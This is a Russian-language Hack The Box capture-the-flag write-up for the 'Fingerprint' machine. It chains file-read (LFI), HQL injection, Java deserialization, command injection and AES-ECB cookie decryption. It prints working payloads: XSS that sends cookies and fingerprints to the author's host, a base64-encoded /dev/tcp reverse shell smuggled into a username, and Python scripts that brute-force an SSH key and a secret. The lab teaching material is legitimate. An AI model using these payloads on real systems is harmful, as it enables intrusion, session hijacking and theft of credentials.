HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту
Хакер - HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту
Содержание статьи
В этом райтапе мы используем LFI для получения исходного кода приложения, XSS — для получения фингерпринта пользователя, обойдем авторизацию через HQL-инъекцию, заюзаем баг в приложении на Java и немного покодим на Python, чтобы получить приватный ключ. В заключение — разберем ошибку в шифровании и узнаем секрет!
Все это — в рамках прохождения «безумной» по сложности машины Fingerprint с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Находим три открытых порта:
- 22 — служба OpenSSH 7.6p1;
- 80 — веб‑сервер Werkzeug httpd 1.0.1;
- 8080 — веб‑сервер GlassFish Open Source Edition 5.0.1.
Наша точка входа — это наверняка один из двух веб‑серверов. Но, изучив сайты, я ничего интересного не нашел. Давай тогда поищем скрытый контент.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-u
— URL;-fc
— исключить из результата ответы с кодом 403.
ffuf -u http://fingerprint.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt
ffuf -u http://fingerprint.htb:8080/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt
Появляются новые интересные каталоги. Burp способен составлять карты сайта, чем мы и воспользуемся. В данном случае на построенной карте обнаружим конечные точки, которые мы бы долго искали при грубом сканировании.
Теперь важно найти место, откуда мы переходим к конечным точкам. История и поиск в Burp выводят нас на страницу /admin
.
ТОЧКА ВХОДА
LFI
Через страницу /admin/view/
можно просматривать файлы, поэтому проверим, нет ли тут уязвимости чтения произвольных файлов в системе. Для перебора файлов я буду использовать Burp Intruder.
И простая последовательность /../..//etc/passwd
отобразит нам содержимое файла /etc/passwd
! Это также позволит нам узнать домашний каталог пользователя flask
. А это означает доступ к исходникам сервера!
Стоит попробовать получить содержимое некоторых стандартных файлов. Так, app/__init__.py
ничего не выводит, а app/app.py
все же дает код приложения (путь /admin/view//../..//home/flask/app/app.py
).
Теперь у нас есть ключ приложения (строка 19), а также видим импорт функции check
из модуля auth
(строка 8). Запросим этот файл:
/admin/view/../..//home/flask/app/auth.py
В строке 13 раскрывается файл базы данных с учетными данными. А в строке 16 с помощью функции build_safe_sql_where
формируется запрос. Сама функция импортируется из модуля util
. Получим следующие файлы:
Из файла базы получаем учетные данные admin
:u_will_never_guess_this_password
. Используя их, можем авторизоваться на сайте и получить доступ к логам.
Больше здесь ничего добыть не можем.
HQL injection + XSS = fingerprint
Тогда попробуем авторизоваться с полученными учетными данными на другом сервисе. Конечно, там нас ждет неудача, но на странице логов размер файла увеличится.
А в самом файле будет указан адрес, логин и цифровой отпечаток пользователя, который попытался авторизоваться.
Так как логином и отпечатком мы можем оперировать при авторизации, есть возможность получить XSS. Но к этому вернемся чуть позже. На сервере используется база данных, а это значит, что стоит попробовать обойти аутентификацию. На GitHub есть много словарей типа auth bypass, и первая же нагрузка дает следующую ошибку.
Получаем ошибку JDBC, а это значит, что нужно выбрать нагрузки для HQL. Большая часть окажется заблокирована, но вот такая нагрузка дает результат:
x' OR SUBSTRING(username,1,1)='a' and ''='
Нам сообщают про неверный цифровой отпечаток (Invalid fingerprint ID
).
Таким образом, нам нужно получить цифровой отпечаток администратора, в чем нам может помочь уязвимость XSS. Снова попытаемся авторизоваться на втором сервисе, но вместо фингерпринта отправим нагрузку:
<script src="http://10.10.14.156:4321/evil.js"></script>
Она будет загружать с нашего сервера скрипт с кодом alert('test')
.
Уязвимость присутствует, значит продолжаем. Обычно фингерпринт генерируется кодом на JS из множества параметров вроде размера экрана, названия и версии браузера и прочих признаков. Нам нужно найти этот код и записать в скрипт на нашем сервере. В Burp History можно увидеть загрузку скрипта login.js
, он‑то нам и нужен.
Копируем содержимое скрипта и добавляем в конце код, который отправит сгенерированный фингерпринт на наш сервер:
location.href="https://justpaste.it/redirect/81i5v/http://10.10.14.156:4321/%3Fid="+getFingerPrintID();
После повторного запроса на авторизацию получим фингерпринт на наш сервер.
Но и отправляя этот фингерпринт, мы получаем ту же ошибку: Invalid fingerprint - ID
.
Дело в том, что HQL-нагрузка работает, если первый символ имени пользователя будет a
. Но, видимо, мы получили фингерпринт другого пользователя. Тогда переберем первый символ имени пользователя с помощью Burp Intruder.
Мы выяснили, что первый символ логина — m
, к тому же мы получаем доступ на сайт.
Кнопка для загрузки файла оказалась нерабочей. Тогда переключим внимание на идентификатор сессии пользователя — Cookie. Судя по структуре, это токен JWT, причем в поле данных содержится также закодированная информация.
Декодировав данные, получим какой‑то набор символов, в котором проглядываются строки. Скорее всего, на сайте используется сериализация объектов. К тому же мы видим что‑то похожее на логин и пароль.
ТОЧКА ОПОРЫ
Небезопасная десериализация
Повторим сканирование веб‑контента, только теперь будем искать файлы с расширением *.java
.
ffuf -u 'http://fingerprint.htb:8080/backups/FUZZ.java' -t 256 -w directory_2.3_medium.txt
Получаем два файла. Скачиваем их для анализа.
Больше всего нас интересует файл User.java
, так как он содержит объект, подлежащий сериализации. Теперь нам нужно создать проект, куда мы поместим User.java
, сохраняя все пути.
Идея заключается в том, чтобы взять сериализованный объект из куки, десериализовать его в нашей программе, изменить имя пользователя на admin
и сериализовать снова. Это позволит нам подменить куки. В User.java
оставим все переменные, но сделаем только один метод для изменения имени пользователя.
package com.admin.security.src.model;
public class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L;
public void setUsername(String username) {
Теперь файл Main.java
. Тут‑то мы и будем резвиться c нашим объектом.
import com.admin.security.src.model.User;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public static void main(String[] args) {
String cookie = "rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAA
nQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1";
byte[] serializedUserBytes = Base64.getDecoder().decode(cookie);
ByteArrayInputStream serializedUserInputStream = new ByteArrayInputStream(serializedUserBytes);
ObjectInputStream objectInputStream = new ObjectInputStream(serializedUserInputStream);
User user = (User)objectInputStream.readObject();
ByteArrayOutputStream serializedUserOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedUserOutputStream);
objectOutputStream.writeObject(user);
String serializedAdminUserBase64 = Base64.getEncoder().encodeToString(serializedUserOutputStream.toByteArray());
System.out.println("New cookie: " + serializedAdminUserBase64);
Настраиваем конфигурацию запуска.
И после старта получаем новый сериализованный объект. Новый JWT нужно будет переподписать, благо секретный ключ у нас есть. Для создания JWT используем jwt.io.
Вставив куки, мы получаем сессию администратора, но загрузка файлов до сих пор не работает.
Тогда будем дальше разбираться с исходными кодами. В обоих скачанных файлах есть импорт класса UserProfileStorage
. При этом метод readObject
вызывается в Profile.java
.
Попробуем загрузить такой файл, а затем откроем для анализа.
Больше всего интересны строки 44–45, где формируется команда ОС, а потом и выполняется в терминале. Замыкает конвейер команда grep
, к которой добавляется имя пользователя. Но это происходит, если проверка isAdminProfile
успешна. При этом имя пользователя используется как название файла логов. Давай попробуем выполнить инъекцию команды ping
, для чего используем следующее имя пользователя:
user.setUsername("test$(ping -c 4 10.10.14.156)/../admin");
После генерации куки, создания и применения JWT получаем заветный пинг (прослушиваем с помощью tcpdump -i tun0 icmp
).
Так как уязвимость подтвердилась, прокинем простой реверс‑шелл. Для этого нагрузку /bin/sh -i >& /dev/tcp/10.10.14.156/5432 0>&1
закодируем в Base64 и создадим конвейер для ее запуска.
user.setUsername("test$(echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTYvNTQzMiAwPiYxCg== | base64 -d | bash)/../admin");
В окне листенера получаем бэкконнект.
ПРОДВИЖЕНИЕ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников много, я в таких случаях применяю скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
После выполнения скрипта нужно выбрать самую важную информацию, в этот раз обратим внимание на то, что:
- есть приложение
cmatch
с выставленным битом SUID; - в каталоге
/var/backups/
есть бэкап приложения на Flask; - для локалхоста прослушивается порт 8088.
Бэкап доступен только группе пользователя john, от имени которого и будет запускаться приложение /usr/bin/cmath
. Само приложение представляет собой исполняемый файл ELF.
Скачиваем файл на локальный хост для анализа. Я буду использовать IDA Pro. Судя по декомпилированному коду, можно предположить, что приложение написано на языке Go. При запуске сразу проверяется количество аргументов программы.
Программа принимает два аргумента (строки 49–56): путь к файлу и строку. Затем открывается файл и производится посимвольное чтение (строки 57–88). В конце в считанном файле ищется строка и выводится сообщение о количестве вхождений подстроки.
В качестве теста проверим, что мы все правильно разобрали.
Так как приложение работает от имени пользователя john, мы можем получить доступ к любому файлу этого пользователя, в том числе и секретному ключу. А благодаря возможности узнать число вхождений подстроки в файл мы можем получить весь файл посимвольно! Суть в том, что, зная начало файла, мы сможем добавлять на каждом шаге по символу и перебирать его до тех пор, пока не будет ответа Found matches: 1
. После этого переходить к подбору следующего символа.
Для посимвольного подбора я написал следующий скрипт. Он позволил получить весь секретный ключ.
alf = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', '
M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '=', '/', '-', ':', ',', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\+', '\r', '\n', '\t']
while(end_file not in cur_file):
count = os.popen(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{s}"').read()[15:]
Но авторизоваться мы все равно не можем, так как ключ зашифрован и требуется дополнительный пароль. В поисках пароля я решил пересмотреть исходные коды приложения. Так, при поиске подстроки passw
получаем три файла.
Скачиваем первые два, открываем в декомпиляторе и во втором находим пароль гибернации.
С помощью этого пароля получилось расшифровать секретный ключ пользователя. Так мы забираем флаг пользователя и получаем стабильный доступ по SSH.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь мы можем получить доступ к бэкапу приложения на Flask. Скачиваем на локальный хост, распаковываем и читаем файл improvement
.
В файле упоминается кастомное шифрование, используемое для контроля аутентификации. А если туннелировать весь трафик с локального порта 8088 на локальный порт 8088 удаленного хоста, то можно заметить, что на нем работает уже знакомое нам приложение.
ssh -L 8088:127.0.0.1:8088 -i id_rsa.john [email protected]
Также просмотрим и исходные коды из бэкапа. Уязвимость произвольного чтения файлов так и осталась в функции logs_view()
, но теперь читать файлы может только администратор.
В функции profile_update()
раскрыт способ формирования куки: [имя_пользователя],[секрет],[true или false]
.
Куки шифруются с помощью AES ECB с размером блока 16 байт.
Но также сохранилась и уязвимость XSS, поэтому уже рассмотренным выше способом, но другой нагрузкой мы можем получить куки.
<script>document.location="http://10.10.14.156:4321/?q="+document.cookie</script>
Подставляем куки и попадаем на главную страницу сайта.
На сервере используется блочное шифрование, а функция profile_update()
дает нам возможность изменить имя пользователя через параметр new_name
. То есть мы можем изменять длину шифруемого сообщения. Таким образом на каждом последующем шаге мы можем перебирать следующий символ, заодно увеличивая сообщение. Как только сообщение без добавленного символа и сообщение с добавленным символом совпали, мы нашли нужный нам символ. Новый куки возвращается в заголовке Set-Cookie.
Набросаем простенький код, который реализует все описанное.
john_cookie = {"user_id": "49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
prime_cookie = requests.post('http://127.0.0.1:8088/profile', data={"new_name": username}, cookies=john_cookie, allow_redirects=False).cookies.get('user_id')
for c in string.printable[:-5]:
test_username = "A" * (16+i) + secret + c
new_cookie = requests.post('http://127.0.0.1:8088/profile', data={"new_name": test_username}, cookies=john_cookie, allow_redirects=False).cookies.get('user_id')
if new_cookie[32*size : 32*(size+1)] == prime_cookie[32*size : 32*(size+1)]:
Так мы смогли расшифровать куки и получить секрет. Перед кодированием стоит обратить внимание на функцию load_user()
, в которой выполняется проверка.
Сообщение разделяется по последовательностям из запятой, секрета и еще одной запятой. Первый элемент получившегося массива сравнивается с true
. Тогда нам в качестве имени пользователя нужно передать последовательность имя,секрет,true,секрет
.
У нас есть новые куки, попробуем для теста прочитать файл /etc/passwd
.
Так как приложение работает от имени рута, прочитаем закрытый ключ пользователя.
Подключаемся по SSH и забираем флаг рута.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei
Source justpaste.it
Сделано ботом @chotamreaderbot